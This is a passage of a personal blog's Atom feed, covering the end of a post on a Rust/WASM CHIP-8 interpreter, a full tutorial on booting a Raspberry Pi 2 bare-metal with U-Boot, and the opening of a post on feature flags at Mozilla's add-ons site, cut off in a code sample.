&lt;a href=&quot;https://github.com/willdurand/chipolata/blob/e55bcf32a0d74c9db4b35b493576a3e27399f4e6/src/wasm_bindings.rs&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JsInterpreter&lt;/code&gt;&lt;/a&gt;
struct decorates the core &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Interpreter&lt;/code&gt; one and contains the configuration
needed to compile a WASM module. I used
&lt;a href=&quot;https://rustwasm.github.io/wasm-pack/&quot;&gt;wasm-pack&lt;/a&gt; to build the final npm
package and I recommend this tool!&lt;/p&gt;

&lt;p&gt;The web application allows users to play &lt;em&gt;Space Invaders&lt;/em&gt; written by David
Winter. I didn’t want to add other games because there are enough CHIP-8
interpreters online. Instead, I decided to implement different features such as
a live view of the CPU registers and a disassembler.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2021/01/chipolata-web.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The disassembler implementation is pretty naive, though. It reads the entire RAM
starting at the start address (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x200&lt;/code&gt;) and, for each opcode, it prints a
mnemonic (from &lt;a href=&quot;http://devernay.free.fr/hacks/chip8/C8TECH10.HTM#3.1&quot;&gt;this
list&lt;/a&gt;). This disassembler
does not handle odd addresses (which are possible because the specification
allows unaligned instructions) and it does not make the distinction between code
and data sections. I think a recursive traversal approach would be much better.&lt;/p&gt;

&lt;p&gt;This project was also a good opportunity to become more familiar with the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API&quot;&gt;Web
Audio API&lt;/a&gt;.
CHIP-8 only needs a single “beep” sound. I implemented it using a 400Hz sine
wave. Pretty cool what we can do in a browser these days!&lt;/p&gt;

&lt;h2 id=&quot;whats-next&quot;&gt;What’s next?&lt;/h2&gt;

&lt;p&gt;First of all, I am pretty happy with the current state of this project.&lt;/p&gt;

&lt;p&gt;I have some ideas for another rainy week-end without kids, though. For instance,
I would like to find a way to move the debugger to the core library in order to
implement it in the web application. The disassembler could also be rewritten in
Rust and become a core feature.&lt;/p&gt;

&lt;p&gt;In the back of my mind, being able to run this interpreter on
&lt;a href=&quot;https://github.com/willdurand/ArvernOS&quot;&gt;ArvernOS&lt;/a&gt; would be a great achievement.
I haven’t looked in details yet but I think it’s doable ;-)&lt;/p&gt;

&lt;h2 id=&quot;links&quot;&gt;Links&lt;/h2&gt;

&lt;p&gt;Here is a list of useful links I read while working on this project:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/CHIP-8&quot;&gt;https://en.wikipedia.org/wiki/CHIP-8&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.multigesture.net/articles/how-to-write-an-emulator-chip-8-interpreter&quot;&gt;http://www.multigesture.net/articles/how-to-write-an-emulator-chip-8-interpreter&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.multigesture.net/wp-content/uploads/mirror/goldroad/chip8_instruction_set.shtml&quot;&gt;http://www.multigesture.net/wp-content/uploads/mirror/goldroad/chip8_instruction_set.shtml&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://devernay.free.fr/hacks/chip8/C8TECH10.HTM&quot;&gt;http://devernay.free.fr/hacks/chip8/C8TECH10.HTM&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tobiasvl.github.io/blog/write-a-chip-8-emulator&quot;&gt;https://tobiasvl.github.io/blog/write-a-chip-8-emulator&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </entry>
    
    <entry>
        <title>Bare-metal Raspberry Pi 2 programming</title>
        <link href="https://williamdurand.fr/2021/01/23/bare-metal-raspberry-pi-2-programming/"/>
        <updated>2021-01-23T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2021/01/23/bare-metal-raspberry-pi-2-programming</id>
        <content type="html">&lt;p&gt;Last week-end, I started to play with
&lt;a href=&quot;https://github.com/willdurand/ArvernOS&quot;&gt;ArvernOS&lt;/a&gt; (my very own 64-bit kernel)
and one of the &lt;a href=&quot;https://www.raspberrypi.org/products/raspberry-pi-2-model-b/&quot;&gt;Raspberry Pi
2&lt;/a&gt; I had in a
drawer (32-bit architecture unfortunately but that’s a story for another time).&lt;/p&gt;

&lt;p&gt;After a few hours, I was able to run ArvernOS with most features disabled on real
hardware (getting it to run in &lt;a href=&quot;https://www.qemu.org/&quot;&gt;QEMU&lt;/a&gt; was surprisingly
straightforward). In the following, I’ll explain the boot sequence of a
Raspberry Pi 2 and show how it works using an example.&lt;/p&gt;

&lt;h2 id=&quot;boot-sequence&quot;&gt;Boot sequence&lt;/h2&gt;

&lt;p&gt;When we power on a Raspberry Pi 2, the CPU is not yet active, only the GPU
(&lt;a href=&quot;https://en.wikipedia.org/wiki/VideoCore&quot;&gt;VPU&lt;/a&gt;) is. The boot sequence is a
multi-stage sequence that loads and executes different programs sequentially.
The GPU starts by executing the &lt;em&gt;first stage&lt;/em&gt; bootloader stored on the board (in
ROM) which, among other things, will attempt to read the SD card and load the
&lt;em&gt;second stage&lt;/em&gt; bootloader named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bootcode.bin&lt;/code&gt;. The code contained in
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bootcode.bin&lt;/code&gt; will load the main (GPU) firmware named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;start.elf&lt;/code&gt; as well as
another file named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fixup.dat&lt;/code&gt;, both located on the SD card. The latter is used
to configure the SDRAM depending on the hardware. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;start.elf&lt;/code&gt; file contains
the code to display the rainbow splash when we have a screen connected to a
Raspberry Pi but its main task is to boot the CPUs and load the kernel code.&lt;/p&gt;

&lt;p&gt;Both &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bootcode.bin&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;start.elf&lt;/code&gt; attempt to read a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.txt&lt;/code&gt; file, which
is an optional but extremely useful configuration file. For example, we can add
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uart_2ndstage=1&lt;/code&gt; to this file to get diagnostic information on UART0 (serial
port). We can also specify the kernel code we want to run (the default kernel
file being &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel7.img&lt;/code&gt; on a Raspberry Pi 2).&lt;/p&gt;

&lt;h2 id=&quot;quick-example-with-u-boot&quot;&gt;Quick example with U-Boot&lt;/h2&gt;

&lt;p&gt;Let’s try to compile and execute &lt;a href=&quot;https://www.denx.de/wiki/U-Boot&quot;&gt;U-Boot&lt;/a&gt; to
understand how things work. U-Boot is a fairly small bootloader used in many
embedded devices, and it normally attempts to load an actual Operating System.
U-Boot runs a command-line interface on a serial port too so we’re going to
leverage this feature and only load U-Boot.&lt;/p&gt;

&lt;p&gt;First, we need to download the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bootcode.bin&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fixup.dat&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;start.elf&lt;/code&gt; files
from &lt;a href=&quot;https://github.com/raspberrypi/firmware/tree/master/boot&quot;&gt;this repo&lt;/a&gt; and
put them on the main
&lt;a href=&quot;https://en.wikipedia.org/wiki/File_Allocation_Table#FAT32&quot;&gt;FAT32&lt;/a&gt; partition of
a SD card. These files are provided by the Raspberry Pi Foundation, which means
most of the early boot sequence is done for us. I know about &lt;a href=&quot;https://github.com/christinaa/rpi-open-firmware&quot;&gt;this alternative
&lt;em&gt;second stage&lt;/em&gt; bootloader
project&lt;/a&gt; but I am not sure why
we’d use it to be honest.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ls /Volumes/SDCARD/
bootcode.bin*  fixup.dat*  start.elf*
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The next step is more interesting. We need something for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;start.elf&lt;/code&gt; program
to complete successfully. In this example, we want to use U-Boot so let’s
compile it. I personally used the Docker-based &lt;a href=&quot;https://github.com/willdurand/ArvernOS/tree/77910ccd44608c683423b2bed1e90d5b050923d7#docker-recommended-way&quot;&gt;ArvernOS
toolchain&lt;/a&gt;
for that:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ git clone git://git.denx.de/u-boot.git
$ cd u-boot
$ docker run -it --rm -v $(pwd):/app willos/toolchain make rpi_2_defconfig
$ docker run -it --rm -v $(pwd):/app willos/toolchain make
  [...]

  LD      u-boot
  OBJCOPY u-boot.srec
  OBJCOPY u-boot-nodtb.bin
  SYM     u-boot.sym
  COPY    u-boot.bin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once finished, we can move the generated &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;u-boot.bin&lt;/code&gt; file to the SD card as
well. We’re almost there, all we need is to create the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.txt&lt;/code&gt; file with
the following content on the SD card:&lt;/p&gt;

&lt;div class=&quot;language-ini highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# Output debug information from `bootcode.bin` and `start.elf`
&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;uart_2ndstage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Configure which file should be loaded by `start.elf`
&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;kernel&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;u-boot.bin&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The SD card should now have five files:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ls /Volumes/SDCARD/
bootcode.bin*  config.txt*  fixup.dat*  start.elf*  u-boot.bin*
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s connect a USB to TTL serial cable
(&lt;a href=&quot;https://www.adafruit.com/?q=ftdi&quot;&gt;FTDI&lt;/a&gt;) between the Raspberry Pi 2 and our
main computer. We can now open the serial port (with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;screen -L
/dev/tty.usbserial-A900HHN1 115200&lt;/code&gt; for instance), put the SD card in the Pi and
power it on.&lt;/p&gt;

&lt;p&gt;After a few seconds, we should see the debug information from the boot sequence
first:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Raspberry Pi Bootcode
Read File: config.txt, 34
Read File: start.elf, 2878340 (bytes)
Read File: fixup.dat, 6729 (bytes)
MESS:00:00:00.949118:0: brfs: File read: /mfs/sd/config.txt
MESS:00:00:00.953246:0: brfs: File read: 34 bytes
MESS:00:00:00.967599:0: HDMI:EDID error reading EDID block 0 attempt 0
[...]
MESS:00:00:01.029675:0: HDMI:EDID giving up on reading EDID block 0
MESS:00:00:01.034965:0: HDMI:EDID error reading EDID block 0 attempt 0
[...]
MESS:00:00:01.098164:0: HDMI:EDID giving up on reading EDID block 0
MESS:00:00:01.115837:0: brfs: File read: /mfs/sd/config.txt
MESS:00:00:01.119959:0: gpioman: gpioman_get_pin_num: pin LEDS_PWR_OK not defined
MESS:00:00:01.136991:0: gpioman: gpioman_get_pin_num: pin WL_LPO_CLK not defined
MESS:00:00:01.142693:0: gpioman: gpioman_get_pin_num: pin BT_ON not defined
MESS:00:00:01.149373:0: gpioman: gpioman_get_pin_num: pin WL_ON not defined
MESS:00:00:01.330719:0: gpioman: gpioman_get_pin_num: pin DISPLAY_DSI_PORT not defined
MESS:00:00:01.338144:0: gpioman: gpioman_get_pin_num: pin LEDS_PWR_OK not defined
MESS:00:00:01.344167:0: *** Restart logging
MESS:00:00:01.348055:0: brfs: File read: 34 bytes
MESS:00:00:01.352881:0: hdmi: HDMI:EDID error reading EDID block 0 attempt 0
[...]
MESS:00:00:01.421187:0: hdmi: HDMI:EDID giving up on reading EDID block 0
MESS:00:00:01.426996:0: hdmi: HDMI:EDID error reading EDID block 0 attempt 0
[...]
MESS:00:00:01.495406:0: hdmi: HDMI:EDID giving up on reading EDID block 0
MESS:00:00:01.500937:0: hdmi: HDMI:hdmi_get_state is deprecated, use hdmi_get_display_state instead
MESS:00:00:01.509687:0: hdmi: HDMI:hdmi_get_state is deprecated, use hdmi_get_display_state instead
MESS:00:00:01.519522:0: Failed to open command line file &apos;cmdline.txt&apos;
MESS:00:00:01.555553:0: brfs: File read: /mfs/sd/u-boot.bin
MESS:00:00:01.559432:0: Loading &apos;u-boot.bin&apos; to 0x8000 size 0x76ea4
MESS:00:00:01.569756:0: No kernel trailer - assuming DT-capable
MESS:00:00:01.574005:0: brfs: File read: 487076 bytes
MESS:00:00:01.578852:0: Failed to load Device Tree file &apos;?&apos;
MESS:00:00:01.584503:0: gpioman: gpioman_get_pin_num: pin EMMC_ENABLE not defined
MESS:00:00:01.592129:0: uart: Set PL011 baud rate to 103448.300000 Hz
MESS:00:00:01.598961:0: uart: Baud rate change done...
MESS:00:00:01.602394:0: uart: Baud rate change done...
MESS:00:00:01.608047:0: gpioman: gpioman_get_pin_num: pin SDCARD_CONTROL_POWER not defined
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I did not have a monitor connected when I ran this example so there were a few
HDMI related errors. Near the end, we can read the following lines:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MESS:00:00:01.555553:0: brfs: File read: /mfs/sd/u-boot.bin
MESS:00:00:01.559432:0: Loading &apos;u-boot.bin&apos; to 0x8000 size 0x76ea4
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Shortly after U-Boot should write to the serial port too and we can enter the
built-in shell by pressing a key:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;U-Boot 2021.01-00688-g184aa65041 (Jan 23 2021 - 10:56:09 +0000)

DRAM:  948 MiB
RPI 2 Model B (0xa01041)
MMC:   mmc@7e202000: 0
Loading Environment from FAT... *** Warning - bad CRC, using default environment

In:    serial
Out:   vidconsole
Err:   vidconsole
Net:   No ethernet found.
starting USB...
Bus usb@7e980000: USB DWC2
scanning bus usb@7e980000 for devices... 3 USB Device(s) found
       scanning usb for storage devices... 0 Storage Device(s) found
Hit any key to stop autoboot:  1
U-Boot&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Sweet!&lt;/p&gt;

&lt;p&gt;From there, we can print the U-Boot version:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;U-Boot&amp;gt; version
U-Boot 2021.01-00688-g184aa65041 (Jan 23 2021 - 10:56:09 +0000)

arm-none-eabi-gcc (GNU Arm Embedded Toolchain 10-2020-q4-major) 10.2.1 20201103 (release)
GNU ld (GNU Arm Embedded Toolchain 10-2020-q4-major) 2.35.1.20201028
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Last but not least, the board has two built-in LEDs (power and activity) and we
definitely need to blink LEDs ;-) We can toggle the activity LED with the
following U-Boot command (GPIO &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;47&lt;/code&gt; controls the activity LED):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;U-Boot&amp;gt; gpio toggle 47
gpio: pin 47 (gpio 47) value is 1
U-Boot&amp;gt; gpio toggle 47
gpio: pin 47 (gpio 47) value is 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;loading-our-own-code&quot;&gt;Loading our own code&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;u-boot.bin&lt;/code&gt; contains the code to run on the Raspberry Pi 2 and we can replace
this file with our own code if we want too. There are two important pieces of
information:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;start.elf&lt;/code&gt; will load and execute the code at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x8000&lt;/code&gt; by default (we usually
configure this base address during the linking phase).&lt;/li&gt;
  &lt;li&gt;when control is transferred to the “user” code, the CPU is in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HYP&lt;/code&gt; mode
(Hypervisor) and depending on our needs, we may want to switch back to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SVC&lt;/code&gt;
mode (Supervisor).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;We can write a few lines of assembly and a bit of C to blink LEDs. I created &lt;a href=&quot;https://gist.github.com/willdurand/614ad3ad1cac0189691f67c0ac71b9e6&quot;&gt;a
Gist&lt;/a&gt; with
all the files necessary to build a minimal bare metal program that blinks the
activity LED indefinitely. Once compiled, we can transfer &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel7.img&lt;/code&gt; to the
SD card and update the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.txt&lt;/code&gt; file to point to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel7.img&lt;/code&gt; instead of
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;u-boot.bin&lt;/code&gt; (or remove the line since it is the default value).&lt;/p&gt;

&lt;h2 id=&quot;stage-3-bootloader&quot;&gt;“Stage 3” bootloader&lt;/h2&gt;

&lt;p&gt;Many projects have their own bootloader to transfer programs using a serial
cable and avoid the annoying SD card dance. Such “stage 3” bootloaders are quite
simple.&lt;/p&gt;

&lt;p&gt;First, a bootloader relocates itself to a higher address in RAM. This is
required to be able to load the actual kernel code later. Then, it initializes a
serial port (UART0 or UART1 on the Raspberry Pi), send a special sequence and
wait for a reply. This special sequence should be received by a program running
on the other computer, which should push the new code to the bootloader. Once
downloaded and stored in memory, the bootloader should call the new code.&lt;/p&gt;

&lt;p&gt;This is what I have implemented too. Sneak peek:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2021/01/bootpusher.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I spent too much time on the &quot;pusher&quot; UI part, I think 😅&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>Feature flags in real life</title>
        <link href="https://williamdurand.fr/2020/09/22/feature-flags-in-real-life/"/>
        <updated>2020-09-22T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2020/09/22/feature-flags-in-real-life</id>
        <content type="html">&lt;p&gt;Many folks are familiar with the concept of &lt;a href=&quot;https://martinfowler.com/articles/feature-toggles.html&quot;&gt;feature
toggles&lt;/a&gt; (also known as
&lt;em&gt;feature flags&lt;/em&gt;) but they do not necessarily use them because &amp;lt;insert reason
here&amp;gt;. This is a very powerful technique that allows teams to ship new
features and/or experiments in a controlled way. My team uses different flavors
of feature toggles on the &lt;a href=&quot;https://addons.mozilla.org&quot;&gt;AMO&lt;/a&gt; platform, and that
is what I am going to describe in this article.&lt;/p&gt;

&lt;h2 id=&quot;backend-toggles&quot;&gt;Backend toggles&lt;/h2&gt;

&lt;p&gt;The AMO server-side is mainly powered by a Django application and we are using
&lt;a href=&quot;https://waffle.readthedocs.io/&quot;&gt;Waffle&lt;/a&gt; to implement the different feature
toggles. Waffle has three types of feature flippers: &lt;em&gt;flags&lt;/em&gt;, &lt;em&gt;switches&lt;/em&gt; and
&lt;em&gt;samples&lt;/em&gt;, depending on the needs. I am not very familiar with the last one,
which seems to be a better packaged version of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rand()&lt;/code&gt;, so I’ll only introduce
the first two flippers.&lt;/p&gt;

&lt;h3 id=&quot;flags&quot;&gt;Flags&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://waffle.readthedocs.io/en/stable/types/flag.html&quot;&gt;Flags&lt;/a&gt; are probably
what most people have in mind when thinking about feature toggles. They are
convenient to roll out features according to various conditions, like specific
users or percentage of traffic.&lt;/p&gt;

&lt;p&gt;My team uses flags to progressively enable new features in production. This can
be useful when the feature can only be fully tested in production, e.g., because
it is not possible to set up a realistic (enough) environment or it has privacy
implications. Flags can certainly be used for other purposes but I am mainly
familiar with these ones.&lt;/p&gt;

&lt;p&gt;This is how I shipped the &lt;a href=&quot;https://blog.mozilla.org/addons/2020/06/10/improvements-to-statistics-processing-on-amo/&quot;&gt;new usage statistics on
AMO&lt;/a&gt;
to end users earlier this year for instance. That was handy to iterate quickly
and give early access to &lt;a href=&quot;https://en.wikipedia.org/wiki/Quality_assurance&quot;&gt;Quality
Assurance&lt;/a&gt; (QA) folks,
Project/Product Managers (PMs), and key users (in this case, developers of very
popular add-ons to measure the performance impacts). Later, we updated the flag
configuration to perform a rollout (25/50/75/100%). During this rollout, users
got access to a “beta mode” (the new feature I was working on) in addition to
the legacy feature but it does not have to be this way.&lt;/p&gt;

&lt;p&gt;It is also possible to use a toggle to change a feature entirely for everyone,
and that is the strategy I used for the &lt;a href=&quot;https://blog.mozilla.org/addons/2020/09/17/download-statistics-update/&quot;&gt;download stats on
AMO&lt;/a&gt;
lately. This is useful to preview a feature without risking a production
incident!&lt;/p&gt;

&lt;h3 id=&quot;switches&quot;&gt;Switches&lt;/h3&gt;

&lt;p&gt;Being able to turn a feature on and off for everyone in production can also be
achieved by a
&lt;a href=&quot;https://waffle.readthedocs.io/en/stable/types/switch.html&quot;&gt;switch&lt;/a&gt;. Switches
cannot target specific users or things like that, but it is what we use the most
on AMO.&lt;/p&gt;

&lt;p&gt;For example, we have switches that act as &lt;a href=&quot;https://en.wikipedia.org/wiki/Kill_switch&quot;&gt;emergency
switches&lt;/a&gt; to quickly react to
potential outages in production. Our kinda monolithic server-side application
talks to some smaller services and if one of them goes crazy, we can quickly
shunt it so that it does not take the entire platform down.&lt;/p&gt;

&lt;p&gt;We also use switches to change parts of our application that run in the
background like cron jobs or asynchronous tasks. In the case of the new AMO
statistics, I used switches to change the data source of the tasks that compute
particular values (e.g., average daily users, etc.). After having tested the new
behavior in our non-production environments, we turned the switches on in
production at a given time and we monitored the first executions.&lt;/p&gt;

&lt;p&gt;Similar to flags, switches are great to ship big features incrementally and
allow long periods of tests in non-production environments. That way, we can
detect and fix most issues early, preventing disasters when we go “live”.&lt;/p&gt;

&lt;h2 id=&quot;frontend-toggles&quot;&gt;Frontend toggles&lt;/h2&gt;

&lt;p&gt;We do not have the exact same concept in our main frontend application, but we
do have some sort of client-side feature toggles. We came up with &lt;a href=&quot;https://github.com/mozilla/addons-frontend/issues/6362&quot;&gt;a
convention&lt;/a&gt; to implement
switches on top of &lt;a href=&quot;https://github.com/lorenwest/node-config&quot;&gt;node-config&lt;/a&gt; and
&lt;a href=&quot;https://github.com/mozilla/addons-frontend/blob/79b846383e639f51f6e78d989348c057e2bad203/src/core/client/config.js&quot;&gt;our very own client-side
implementation&lt;/a&gt;
for it. We use frontend switches quite often so that QA can verify the changes
before they are deployed in production. In addition to that, we can start
conversations with PMs and &lt;a href=&quot;https://en.wikipedia.org/wiki/User_experience&quot;&gt;User
eXperience&lt;/a&gt; (UX) people while we
are implementing the changes.&lt;/p&gt;

&lt;p&gt;Our feature flipper implementation may appear naive, it works great for us. We
shipped new pages, homepage redesigns, and other minor features behind such
switches. That being said, this approach is not as flexible as its server
equivalent because it requires a deployment to update the values of the
switches.&lt;/p&gt;

&lt;h2 id=&quot;how-do-we-test-our-code&quot;&gt;How do we test our code?&lt;/h2&gt;

&lt;p&gt;Django Waffle stores its configuration in the database and provides &lt;a href=&quot;https://waffle.readthedocs.io/en/stable/testing/automated.html&quot;&gt;helper
functions&lt;/a&gt; to
create flags or switches in a test case. We usually write similar tests with the
feature toggle enabled and disabled.&lt;/p&gt;

&lt;p&gt;Most of our frontend code is written with React. We use a pattern that consists
in passing a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_config&lt;/code&gt; prop whose default value is the actual node config and we
override it in the test case with a fake config object. That way, we can unit
test all possible conditions:&lt;/p&gt;

&lt;div class=&quot;language-jsx highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;config&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;config&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Welcome&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_config&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;config&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{})&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;h1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt;Hello, &lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;enableFeatureXYZ&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;XYZ&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;World&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;h1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// test file&lt;/span&gt;
